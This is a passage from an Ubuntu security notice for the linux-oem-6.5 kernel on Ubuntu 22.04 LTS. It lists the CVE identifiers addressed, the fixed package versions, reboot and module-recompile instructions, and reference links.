CVE-2023-52675, CVE-2023-52678,CVE-2024-26583, CVE-2023-52693, CVE-2023-52498, CVE-2024-26649,CVE-2023-52670, CVE-2023-52473, CVE-2023-52449, CVE-2023-52667,CVE-2023-52467, CVE-2023-52686, CVE-2024-26633, CVE-2023-52666,CVE-2024-35840, CVE-2024-26629, CVE-2024-26595, CVE-2023-52593,CVE-2023-52687, CVE-2023-52465, CVE-2024-26627, CVE-2023-52493,CVE-2023-52491, CVE-2024-26636, CVE-2024-26584, CVE-2023-52587,CVE-2023-52597, CVE-2023-52462, CVE-2023-52633, CVE-2023-52696,CVE-2024-26585, CVE-2023-52589, CVE-2023-52456, CVE-2023-52470,CVE-2024-35838, CVE-2024-26645, CVE-2023-52591, CVE-2023-52464,CVE-2023-52609, CVE-2024-26608, CVE-2023-52450, CVE-2023-52584,CVE-2023-52469, CVE-2023-52583, CVE-2023-52451, CVE-2023-52495,CVE-2023-52626, CVE-2023-52595, CVE-2023-52680, CVE-2023-52632,CVE-2024-26582, CVE-2024-35837, CVE-2023-52494, CVE-2023-52614,CVE-2023-52443, CVE-2023-52698, CVE-2023-52448, CVE-2024-26615,CVE-2023-52452, CVE-2023-52492, CVE-2024-26647, CVE-2023-52468,CVE-2023-52594, CVE-2023-52621, CVE-2024-26638, CVE-2024-26594,CVE-2024-26673, CVE-2023-52457, CVE-2023-52677, CVE-2023-52607,CVE-2024-26623, CVE-2023-52488, CVE-2023-52497, CVE-2023-52445,CVE-2024-26607, CVE-2023-52610, CVE-2024-35842, CVE-2023-52690,CVE-2023-52683, CVE-2023-52444, CVE-2024-26671, CVE-2023-52455,CVE-2023-52679, CVE-2024-26598, CVE-2023-52674, CVE-2023-52627,CVE-2023-52619, CVE-2023-52487, CVE-2023-52446, CVE-2024-35835,CVE-2023-52682, CVE-2023-52685, CVE-2023-52694, CVE-2024-26631)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 22.04 LTS   linux-image-6.5.0-1024-oem      6.5.0-1024.25   linux-image-oem-22.04           6.5.0.1024.26   linux-image-oem-22.04a          6.5.0.1024.26   linux-image-oem-22.04b          6.5.0.1024.26   linux-image-oem-22.04c          6.5.0.1024.26   linux-image-oem-22.04d          6.5.0.1024.26After a standard system update you need to reboot your computer to makeall the necessary changes.ATTENTION: Due to an unavoidable ABI change the kernel updates havebeen given a new version number, which requires you to recompile andreinstall all third party kernel modules you might have installed.Unless you manually uninstalled the standard kernel metapackages(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,linux-powerpc), a standard system upgrade will automatically performthis as well.References:   https://ubuntu.com/security/notices/USN-6819-3   https://ubuntu.com/security/notices/USN-6819-1   CVE-2023-52443, CVE-2023-52444, CVE-2023-52445, CVE-2023-52446,   CVE-2023-52447, CVE-2023-52448, CVE-2023-52449, CVE-2023-52450,   CVE-2023-52451, CVE-2023-52452, CVE-2023-52453, CVE-2023-52454,   CVE-2023-52455, CVE-2023-52456, CVE-2023-52457, CVE-2023-52458,   CVE-2023-52462, CVE-2023-52463, CVE-2023-52464, CVE-2023-52465,   CVE-2023-52467, CVE-2023-52468, CVE-2023-52469, CVE-2023-52470,   CVE-2023-52472, CVE-2023-52473, CVE-2023-52486, CVE-2023-52487,   CVE-2023-52488, CVE-2023-52489, CVE-2023-52490, CVE-2023-52491,   CVE-2023-52492, CVE-2023-52493, CVE-2023-52494, CVE-2023-52495,   CVE-2023-52497, CVE-2023-52498, CVE-2023-52583, CVE-2023-52584,   CVE-2023-52587, CVE-2023-52588, CVE-2023-52589, CVE-2023-52591,   CVE-2023-52593, CVE-2023-52594, CVE-2023-52595, CVE-2023-52597,   CVE-2023-52598, CVE-2023-52599, CVE-2023-52606, CVE-2023-52607,   CVE-2023-52608, CVE-2023-52609, CVE-2023-52610, CVE-2023-52611,   CVE-2023-52612, CVE-2023-52614, CVE-2023-52616, CVE-2023-52617,   CVE-2023-52618, CVE-2023-52619, CVE-2023-52621, CVE-2023-52622,   CVE-2023-52623, CVE-2023-52626, CVE-2023-52627, CVE-2023-52632,   CVE-2023-52633, CVE-2023-52635, CVE-2023-52664, CVE-2023-52666,   CVE-2023-52667, CVE-2023-52669, CVE-2023-52670, CVE-2023-52672,   CVE-2023-52674, CVE-2023-52675, CVE-2023-52676, CVE-2023-52677,   CVE-2023-52678, CVE-2023-52679, CVE-2023-52680, CVE-2023-52681,   CVE-2023-52682, CVE-2023-52683, CVE-2023-52685, CVE-2023-52686,   CVE-2023-52687, CVE-2023-52690, CVE-2023-52691, CVE-2023-52692,   CVE-2023-52693, CVE-2023-52694, CVE-2023-52696, CVE-2023-52697,   CVE-2023-52698, CVE-2023-6356, CVE-2023-6535, CVE-2023-6536,   CVE-2024-23849, CVE-2024-24860, CVE-2024-26582, CVE-2024-26583,   CVE-2024-26584, CVE-2024-26585, CVE-2024-26586, CVE-2024-26592,   CVE-2024-26594, CVE-2024-26595, CVE-2024-26598, CVE-2024-26607,   CVE-2024-26608, CVE-2024-26610, CVE-2024-26612, CVE-2024-26615,   CVE-2024-26616, CVE-2024-26618, CVE-2024-26620, CVE-2024-26623,   CVE-2024-26625, CVE-2024-26627, CVE-2024-26629, CVE-2024-26631,   CVE-2024-26632, CVE-2024-26633, CVE-2024-26634, CVE-2024-26636,   CVE-2024-26638, CVE-2024-26640, CVE-2024-26641, CVE-2024-26644,   CVE-2024-26645, CVE-2024-26646, CVE-2024-26647, CVE-2024-26649,   CVE-2024-26668, CVE-2024-26669, CVE-2024-26670, CVE-2024-26671,   CVE-2024-26673, CVE-2024-26808, CVE-2024-35835, CVE-2024-35837,   CVE-2024-35838, CVE-2024-35839, CVE-2024-35840, CVE-2024-35841,   CVE-2024-35842Package Information:   https://launchpad.net/ubuntu/+source/linux-oem-6.5/6.5.0-1024.25

Tag

#linux